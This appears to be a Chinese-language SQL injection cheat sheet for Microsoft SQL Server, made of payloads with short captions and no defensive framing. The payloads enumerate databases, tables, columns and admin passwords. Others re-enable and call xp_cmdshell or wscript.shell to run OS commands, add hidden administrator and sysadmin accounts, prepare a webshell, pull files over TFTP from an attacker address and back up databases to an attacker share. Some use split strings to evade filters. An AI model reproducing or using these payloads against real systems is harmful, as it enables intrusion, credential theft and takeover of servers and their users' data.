and sa=(SELECT System_blank>_user)--

and user_blank>_name()=dbo--

and 0<>(select user_blank>_name()--

看xp_blank>_cmdshell是否删除

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)--

xp_blank>_cmdshell被删除，恢复,支持绝对路径的恢复

;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--

;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll--

反向PING自己实验

;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

加帐号

;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--

创建一个虚拟目录E盘：

;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c：\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e：\"--

访问属性：（配合写入一个webshell）

declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c：\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

爆库 特殊_blank>技巧：:%5c=\ 或者把/和\ 修改%5提交

and 0<>(select top 1 paths from newtable)--

得到库名（从1到5都是系统的id，6以上才可以判断）

and 1=(select name from master.dbo.sysdatabases where dbid=7)--

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin

and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in

(id,...)) 来暴出其他的字段

and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名

依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值

and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin

?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用)

得到WEB路径

;create table [dbo].[swap] ([swappass][char](255));--

and (select top 1 swappass from swap)=1--

;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test OUTPUT insert into paths(path) values(@test)--

;use ku1;--

;create table cmd (str image);-- 建立image类型的表cmd

存在xp_blank>_cmdshell的测试过程：

;exec master..xp_blank>_cmdshell dir

;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帐号

;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;--

;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;--

;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--

;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;--

exec master..xp_blank>_servicecontrol start, schedule 启动_blank>服务

exec master..xp_blank>_servicecontrol start, server

; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add

;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add

; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件

;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\

;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\

;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat

如果被限制则可以。

select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)

查询构造：

SELECT * FROM news WHERE id=... AND topic=... AND .....

adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>

select 123;--

;use master;--

:a or name like fff%;-- 显示有一个叫ffff的用户哈。

and 1<>(select count(email) from [user]);--

;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--

;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--

;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--

;update [users] set email=(select top 1 count(id) from password) where name=ffff;--

(编辑:aniston)